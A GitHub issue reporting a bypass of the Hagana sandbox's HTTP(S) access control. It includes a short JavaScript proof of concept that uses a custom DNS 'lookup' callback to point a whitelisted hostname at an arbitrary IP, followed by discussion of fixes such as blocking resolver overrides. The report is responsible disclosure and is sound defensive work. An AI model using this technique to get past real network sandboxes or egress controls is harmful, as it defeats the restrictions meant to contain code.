Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Lookup HTTP(S) bypass #5

Open
Mickael-van-der-Beek opened this issue Jun 24, 2022 · 3 comments
Open

Lookup HTTP(S) bypass #5

Mickael-van-der-Beek opened this issue Jun 24, 2022 · 3 comments
Labels
breakout Issues which bypass Hagana's protection enhancement New feature or request

Comments

@Mickael-van-der-Beek
Copy link

I found another bypass, this time on the network (HTTP(S)) access control side.

It's possible to specify a custom IP address resolver which will resolve the whitelisted domain name to a malicious, attacker planted, IP address.

e.g:

import http from 'http';

export function run () {
  return new Promise((resolve, reject) => {
    const maliciousHost = 'example.com';
    const maliciousIp = '93.184.216.34';
    const chunks = [];

    const req = http.request(
      'http://httpbin.org/get',
      {
        lookup: (_hostname, _options, callback) => callback(null, maliciousIp, 4),
        headers: {
          Host: maliciousHost
        }
      },
      res => {
        res.on('data', chunk => chunks.push(chunk));

        res.once('end', () => {
          console.log('RESPONSE=', Buffer.concat(chunks).toString());
          resolve();
        });  
      }
    );

    req.once('error', reject);

    req.end();
  });
}
@yaakov123 yaakov123 added the breakout Issues which bypass Hagana's protection label Jun 24, 2022
@yaakov123
Copy link
Owner

After thinking about this for a bit, I suppose the correct approach here is to create a whitelist for allowed DNS resolver IPs

@Mickael-van-der-Beek
Copy link
Author

@yaakov123 Probably. It's a bit risky though since IP addresses could change after the application has been run.

Usually the custom lookup is used for two reasons:

  • performance; where you would use resolve() (C-Ares) instead of lookup() (Host syscall)
  • resolution rules; where you would want to bypass /etc/hosts or host specific DNS rules (or not)

Safest is a list of allowed IP addresses and next safest would probably be to block the feature altogether. :/

@yaakov123
Copy link
Owner

I see. I think the approach of blocking all entrypoints to changing the DNS resolver IP (e.g. dns.setServers, and lookup, resolve) and only allowing resolvers known ahead of time.

@yaakov123 yaakov123 assigned yaakov123 and unassigned yaakov123 Jul 6, 2022
@yaakov123 yaakov123 added the enhancement New feature or request label Jul 20, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
breakout Issues which bypass Hagana's protection enhancement New feature or request
Projects
None yet
Development

No branches or pull requests

2 participants